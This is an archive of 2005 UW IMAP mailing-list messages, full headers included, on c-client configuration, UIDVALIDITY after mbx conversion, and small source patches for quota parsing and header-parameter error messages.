for ; Mon, 14 Nov 2005 15:19:51 -0500 Received: from mailrelay4.pfizer.com (mailrelay4.pfizer.com [148.168.74.95]) by gromsgia01i.pfizer.com (8.13.4/8.13.4) with ESMTP id jAEKJkeU002516 for ; Mon, 14 Nov 2005 15:19:47 -0500 Received: from [10.35.120.101] (localhost [127.0.0.1]) by mailrelay4.pfizer.com (Switch-3.0.5/Switch-3.0.0) with ESMTP id jAEKKZg6000100 for ; Mon, 14 Nov 2005 15:20:36 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v746.2) In-Reply-To: <7A69D9CE-763D-41AF-812B-180305231FAB@internection.com> References: <7A69D9CE-763D-41AF-812B-180305231FAB@internection.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Jon August Subject: Re: [Imap-uw] change default folder Date: Mon, 14 Nov 2005 15:20:48 -0500 To: imap-uw@u.washington.edu X-Mailer: Apple Mail (2.746.2) X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 mlx=0 adultscore=0 adjust=0 reason=mlx engine=3.1.0-05110204 definitions=3.0.0-05111402 X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 mlx=0 adultscore=0 adjust=0 reason=mlx engine=3.1.0-05110204 definitions=3.0.0-05111402 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Found it. I needed to change the setting in /etc/c-client.cf from "Mail " to what I wanted. Thanks. -Jon On Nov 14, 2005, at 3:08 PM, Jon August wrote: > Hi, > > I installed uw imap using yum and it seems to use "Mail " as the > default directory in the user's home directory to store the mail > folders. Is there a way to change this at run time? Can I change > it to "mail" or just "~" without recompiling because I'm not sure > exactly how to make this change happen with an rpm install. > > Thanks, > -Jon > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Nov 14 13:42:54 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Nov 2005 13:42:54 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELgswl023908 for ; Mon, 14 Nov 2005 13:42:54 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELgrXC008502 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 14 Nov 2005 13:42:53 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELgrX5013194; Mon, 14 Nov 2005 13:42:53 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELgraZ009050; Mon, 14 Nov 2005 13:42:53 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELgp0v009042 for ; Mon, 14 Nov 2005 13:42:51 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELgpsF005015 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 14 Nov 2005 13:42:51 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELgpIA031950 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 14 Nov 2005 13:42:51 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELgnHt012408 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 14 Nov 2005 13:42:50 -0800 Date: Mon, 14 Nov 2005 13:42:50 -0800 (Pacific Standard Time) From: Mark Crispin To: Jon August Subject: Re: [Imap-uw] change default folder In-Reply-To: Message-ID: References: <7A69D9CE-763D-41AF-812B-180305231FAB@internection.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 14 Nov 2005, Jon August wrote: > Found it. I needed to change the setting in /etc/c-client.cf from "Mail " to > what I wanted. Even better would be to delete the /etc/c-client.cf file. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Nov 14 13:46:33 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Nov 2005 13:46:33 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELkX9l024087 for ; Mon, 14 Nov 2005 13:46:33 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELkWHD020319 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 14 Nov 2005 13:46:32 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELkWo5013613; Mon, 14 Nov 2005 13:46:32 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELkV6f010019; Mon, 14 Nov 2005 13:46:31 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELkUTm010010 for ; Mon, 14 Nov 2005 13:46:30 -0800 Received: from e02.byramhealthcare.com (e02.byramhealthcare.com [216.244.106.85]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAELkSqY003865 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 14 Nov 2005 13:46:29 -0800 Received: from perd01.byramhealthcare.com (perd01.byramhealthcare.com [10.15.61.70]) by e02.byramhealthcare.com (8.12.11/8.12.11) with ESMTP id jAELkQeA012218 for ; Mon, 14 Nov 2005 16:46:27 -0500 Received: from [10.15.49.98] (aacquani.wp.desktop.byramhealthcare.com [10.15.49.98]) by perd01.byramhealthcare.com (8.13.1/8.13.1) with ESMTP id jAF1gGUK017937 for ; Mon, 14 Nov 2005 20:42:16 -0500 Message-ID: <437905B0.5010008@optonline.net> Date: Mon, 14 Nov 2005 16:46:24 -0500 From: acqant User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu X-Enigmail-Version: 0.90.1.0 X-Enigmail-Supports: pgp-inline, pgp-mime Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-PMX-Version: 4.7.1.128075, Antispam-Engine: 2.0.3.1, Antispam-Data: 2005.11.14.24 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] convert unix to mxb - after effects X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I have a lot of users with very large inboxes. I've converted one /var/spool/mail/user file to mbx formatted INBOX file and the client re-downloaded all the email. The user was using pop and had keep mail on server. Is the UIDVALIDITY changing on the INBOX file? Is all the mail being redownloaded or just the MSG/UID info? _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Mon Nov 14 18:40:38 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 14 Nov 2005 18:40:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAF2ecr2009590 for ; Mon, 14 Nov 2005 18:40:38 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAF2ebKL006769 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 14 Nov 2005 18:40:37 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAF2ebf9018265; Mon, 14 Nov 2005 18:40:37 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAF2ebQa019877; Mon, 14 Nov 2005 18:40:37 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAF2eanB019869 for ; Mon, 14 Nov 2005 18:40:36 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAF2eZmT004202 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Mon, 14 Nov 2005 18:40:35 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAF2eZvc032468 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 14 Nov 2005 18:40:35 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAF2eZxB025124 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 14 Nov 2005 18:40:35 -0800 Date: Mon, 14 Nov 2005 18:40:37 -0800 (Pacific Standard Time) From: Mark Crispin To: acqant Subject: Re: [Imap-uw] convert unix to mxb - after effects In-Reply-To: <437905B0.5010008@optonline.net> Message-ID: References: <437905B0.5010008@optonline.net> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Mon, 14 Nov 2005, acqant wrote: > I have a lot of users with very large inboxes. I've converted one > /var/spool/mail/user file to mbx formatted INBOX file and the client > re-downloaded all the email. > The user was using pop and had keep mail on server. Is the UIDVALIDITY > changing on the INBOX file? The answer to this program depends upon the conversion procedure that you used. Most conversion procedures just copy the messages to a new mailbox, and hence the new mailbox has a completely different UIDVALIDITY and individual message UIDs. Put another way, the answer to your question is "yes". > Is all the mail being redownloaded or just the MSG/UID info? I don't know. It depends upon the client program. Note that online clients, such as Pine, never download and thus don't have this issue. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 15 10:04:57 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Nov 2005 10:04:57 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFI4vg5020497 for ; Tue, 15 Nov 2005 10:04:57 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFI4usk022393 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Nov 2005 10:04:56 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFI4uJK014834; Tue, 15 Nov 2005 10:04:56 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFI4uYw003551; Tue, 15 Nov 2005 10:04:56 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFI4tPd003543 for ; Tue, 15 Nov 2005 10:04:55 -0800 Received: from boost.horde.net (boost.horde.net [69.55.65.181]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFI4sXI008253 for ; Tue, 15 Nov 2005 10:04:55 -0800 Received: by boost.horde.net (Postfix, from userid 100) id EC625417A; Tue, 15 Nov 2005 13:04:49 -0500 (EST) Date: Tue, 15 Nov 2005 13:04:49 -0500 From: John Morrissey To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] Negative usage and libc-client parsing Message-ID: <20051115180449.GA24399@boost.horde.net> References: <20051111190951.GA20966@boost.horde.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: X-Marks: The Spot X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, Nov 11, 2005 at 11:35:17AM -0800, Mark Crispin wrote: > The IMAP QUOTA specification (RFC 2087, page 5) defines all the numeric > values used by quota as "number". > > A change to use strtol() instead of strtoul() would break the handling of > half of the available number space (from 2,147,483,648 to 4,294,967,295). > Consequently, such a patch would not be accepted. > > Sadly, this is (yet another) bug in Courier. There are numerous known > issues in which Courier fails to comply with the IMAP specification; and > past history indicates that there is little (if any) hope that these > issues will ever be fixed. Yes, I would also rather avoid trying to convince Courier's maintainer to change this. Would a patch be accepted that detected negative usage and reported zero in that case while still using strtoul() to achieve the full range of an RFC 2087 number? Zero is the de facto result of negative usage, and it would avoid throwing an error. It's almost cliched to say, but this would make libc-client more liberal in what it accepts, without impacting compliant implementations. john -- John Morrissey _o /\ ---- __o jwm@horde.net _-< \_ / \ ---- < \, www.horde.net/ __(_)/_(_)________/ \_______(_) /_(_)__ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Nov 15 12:36:41 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 15 Nov 2005 12:36:41 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFKafJ1028948 for ; Tue, 15 Nov 2005 12:36:41 -0800 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFKae1G028506 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 15 Nov 2005 12:36:40 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFKaeKL001594; Tue, 15 Nov 2005 12:36:40 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFKaeAO003417; Tue, 15 Nov 2005 12:36:40 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFKacZj003409 for ; Tue, 15 Nov 2005 12:36:39 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFKacqL026252 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 15 Nov 2005 12:36:38 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFKacTs001999 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 15 Nov 2005 12:36:38 -0800 X-Auth-Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAFKaaFJ010017 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Tue, 15 Nov 2005 12:36:38 -0800 Date: Tue, 15 Nov 2005 12:36:36 -0800 (PST) From: Mark Crispin To: John Morrissey Subject: Re: [Imap-uw] Negative usage and libc-client parsing In-Reply-To: <20051115180449.GA24399@boost.horde.net> Message-ID: References: <20051111190951.GA20966@boost.horde.net> <20051115180449.GA24399@boost.horde.net> MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="-1903383771-769283603-1132086996=:28356" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. ---1903383771-769283603-1132086996=:28356 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed On Tue, 15 Nov 2005, John Morrissey wrote: > Yes, I would also rather avoid trying to convince Courier's maintainer to > change this. :-) > Would a patch be accepted that detected negative usage and reported zero in > that case while still using strtoul() to achieve the full range of an RFC > 2087 number? Zero is the de facto result of negative usage, and it would > avoid throwing an error. It's almost cliched to say, but this would make > libc-client more liberal in what it accepts, without impacting compliant > implementations. I don't want to do this by default, but the attached patch will do this if you specify "/loser" in the mailbox name. You need to use "/loser" with Courier servers anyway. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. ---1903383771-769283603-1132086996=:28356 Content-Type: TEXT/PLAIN; charset=US-ASCII; name=imap4r1.c.patch Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename=imap4r1.c.patch KioqIGltYXA0cjEuY34JMjAwNS0xMS0wNCAwOTowNDo0MS4wMDAwMDAwMDAg LTA4MDANCi0tLSBpbWFwNHIxLmMJMjAwNS0xMS0xNSAxMDo1Mzo0My4wMDAw MDAwMDAgLTA4MDANCioqKioqKioqKioqKioqKg0KKioqIDQxMDcsNDExNiAq KioqDQogICAgICAgIGlmICgqcyAhPSAnKScpIGZvciAocWwgPSBxYyA9IG1h aWxfbmV3cXVvdGFsaXN0ICgpOyBUOw0KICAJCQkgIHFjID0gcWMtPm5leHQg PSBtYWlsX25ld3F1b3RhbGlzdCAoKSkgew0KICAJaWYgKChxYy0+bmFtZSA9 IGltYXBfcGFyc2VfYXN0cmluZyAoc3RyZWFtLCZzLHJlcGx5LE5JTCkpICYm IHMgJiYNCiEgCSAgICAoKnMrKyA9PSAnICcpICYmIGlzZGlnaXQgKCpzKSkg ew0KISAJICBxYy0+dXNhZ2UgPSBzdHJ0b3VsIChzLChjaGFyICoqKSAmcywx MCk7DQohIAkgIGlmICgoKnMrKyA9PSAnICcpICYmIGlzZGlnaXQgKCpzKSkg ew0KISAJICAgIHFjLT5saW1pdCA9IHN0cnRvdWwgKHMsKGNoYXIgKiopICZz LDEwKTsNCiAgCQkJCS8qIGFub3RoZXIgcmVzb3VyY2UgZm9sbG93cz8gKi8N CiAgCSAgICBpZiAoKnMgPT0gJyAnKSBjb250aW51ZTsNCiAgCQkJCS8qIGVu ZCBvZiByZXNvdXJjZSBsaXN0PyAqLw0KLS0tIDQxMDcsNDExOCAtLS0tDQog ICAgICAgIGlmICgqcyAhPSAnKScpIGZvciAocWwgPSBxYyA9IG1haWxfbmV3 cXVvdGFsaXN0ICgpOyBUOw0KICAJCQkgIHFjID0gcWMtPm5leHQgPSBtYWls X25ld3F1b3RhbGlzdCAoKSkgew0KICAJaWYgKChxYy0+bmFtZSA9IGltYXBf cGFyc2VfYXN0cmluZyAoc3RyZWFtLCZzLHJlcGx5LE5JTCkpICYmIHMgJiYN CiEgCSAgICAoKnMrKyA9PSAnICcpICYmIChpc2RpZ2l0ICgqcykgfHwgKExP Q0FMLT5sb3NlciAmJiAoKnMgPT0gJy0nKSkpKSB7DQohIAkgIGlmIChpc2Rp Z2l0ICgqcykpIHFjLT51c2FnZSA9IHN0cnRvdWwgKHMsKGNoYXIgKiopICZz LDEwKTsNCiEgCSAgZWxzZSBpZiAodCA9IHN0cmNociAocywnICcpKSB0ID0g czsNCiEgCSAgaWYgKCgqcysrID09ICcgJykgJiYgKGlzZGlnaXQgKCpzKSB8 fCAoTE9DQUwtPmxvc2VyICYmKCpzID09ICctJykpKSl7DQohIAkgICAgaWYg KGlzZGlnaXQgKCpzKSkgcWMtPmxpbWl0ID0gc3RydG91bCAocywoY2hhciAq KikgJnMsMTApOw0KISAJICAgIGVsc2UgaWYgKHQgPSBzdHJwYnJrIChzLCcg KScpKSB0ID0gczsNCiAgCQkJCS8qIGFub3RoZXIgcmVzb3VyY2UgZm9sbG93 cz8gKi8NCiAgCSAgICBpZiAoKnMgPT0gJyAnKSBjb250aW51ZTsNCiAgCQkJ CS8qIGVuZCBvZiByZXNvdXJjZSBsaXN0PyAqLw0K ---1903383771-769283603-1132086996=:28356 Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw ---1903383771-769283603-1132086996=:28356-- From pinedev@shivax2.cac.washington.edu Wed Nov 16 09:02:15 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 16 Nov 2005 09:02:15 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGH2FQk029952 for ; Wed, 16 Nov 2005 09:02:15 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGH2EKQ007755 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 16 Nov 2005 09:02:14 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGH2BI0003206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 16 Nov 2005 09:02:11 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGH2AVl017685; Wed, 16 Nov 2005 09:02:11 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGGoYfF015089 for ; Wed, 16 Nov 2005 08:50:34 -0800 Received: from tkrat.org (tkrat.math.chalmers.se [129.16.168.189]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jAGGoXoo002808 for ; Wed, 16 Nov 2005 08:50:33 -0800 Received: from localhost (localhost [127.0.0.1]) by tkrat.org (Postfix) with ESMTP id D630B2E50 for ; Wed, 16 Nov 2005 17:47:44 +0100 (MET) Date: Wed, 16 Nov 2005 17:04:43 +0100 (CET) From: maf@tkrat.org To: c-client@u.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Content-Disposition: INLINE X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-Mailman-Approved-At: Wed, 16 Nov 2005 09:02:09 -0800 Cc: Subject: [Imap-uw] c-client bug in parameter parsing X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I have found a minor bug in the way errors in header parameters are reported. The error occurs when c-client encounters a header line like: Content-Disposition: attachment; filename="image5.jpg"; In this case c-client will report: "Missing parameter value: FILENAME" instead of "Missing parameter". The easiest fix I could think of is: --- src/c-client/rfc822.c 8 Jun 2005 04:58:32 -0000 1.21 +++ src/c-client/rfc822.c 16 Nov 2005 06:20:41 -0000 @@ -878,7 +878,7 @@ } } if (!text) { /* must be end of poop */ - if (param && param->attribute) + if (param && param->attribute && param->value == NIL) sprintf (tmp,"Missing parameter value: %.80s",param->attribute); else strcpy (tmp,"Missing parameter"); MM_LOG (tmp,PARSE); /MaF _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu 